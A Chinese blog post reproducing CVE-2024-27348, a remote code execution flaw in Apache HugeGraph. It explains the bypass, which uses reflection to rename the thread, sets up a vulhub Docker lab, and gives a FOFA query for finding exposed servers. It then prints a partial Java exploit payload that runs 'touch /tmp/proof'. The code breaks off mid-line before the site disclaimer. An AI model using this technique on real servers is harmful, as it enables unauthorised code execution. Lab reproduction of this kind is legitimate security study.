Apache HugeGraph介绍:
Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能、出色的性能和企业级的可靠性。
漏洞概述:
HugeGraph 的 Gremlin API 中存在一个远程代码执行漏洞。Gremlin 是一种图遍历语言,可以在 Groovy、Python 和 Java 等多种编程语言中实现。攻击者能够利用 Gremlin API 在未经身份验证的情况下执行基于 Groovy 的 Gremlin 命令,从而执行任意命令。
理论上,Apache HugeGraph 会使用 SecurityManager 来限制用户提交的 Groovy 脚本。但 SecurityManager 仅检查以“gremlin-server-exec”或“task-worker”开头的线程名称。攻击者通过使用反射修改当前线程名称,可以绕过这一机制,从而实现任意代码执行。
影响版本:
影响 Apache HugeGraph-Server:Java8 和 Java11 中的 1.0.0 到 1.3.0 之前的版本
FOFA:
FOFA:title="HugeGraph"
搭建环境:
使用docker容器进行搭建,docker-compose.yml 如下:
services: web: image: vulhub/hugegraph:1.2.0 ports: - "8080:8080" - "5005:5005"
执行如下命令,开启靶场
docker-compose up -d
环境启动后,可通过 http://your-ip:8080 访问 HugeGraph 的 RESTful API。
漏洞复现:
目标地址如下:
原POC 参考如下:
https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-apache-hugegraph-server-cve-2024-27348
载荷设计思路如下:
首先需要一个 Java 代码,可实现以下功能:
1. 使用反射将当前线程的名称更改为“VICARIUS”。 2. 创建一个执行命令“touch /tmp/proof”的新进程,该进程将在“/tmp”目录中创建一个名为“proof”的空文件。
# JAVA 代码 // Get the current thread executing this code Thread thread = Thread.currentThread(); // Load the Thread class using reflection Class clz = Class.forName("java.lang.Thread"); // Get the private 'name' field of the Thread class java.lang.reflect.Field field = clz.getDeclaredField("name"); // Make the private 'name' field accessible field.setAccessible(true); // Set the name of the current thread to "VICARIUS" field.set(thread, "VICARIUS"); // Load the ProcessBuilder class using reflection Class processBuilderClass = Class.forName("java.lang.ProcessBuilder"); // Get the constructor of ProcessBuilder that takes a List<String> as an argument java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class); // Create a list containing the command "touch /tmp/proof" java.util.List command = java.util.Arrays.asList("touch", "/tmp/proof"); // Create an instance of ProcessBuilder with th
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)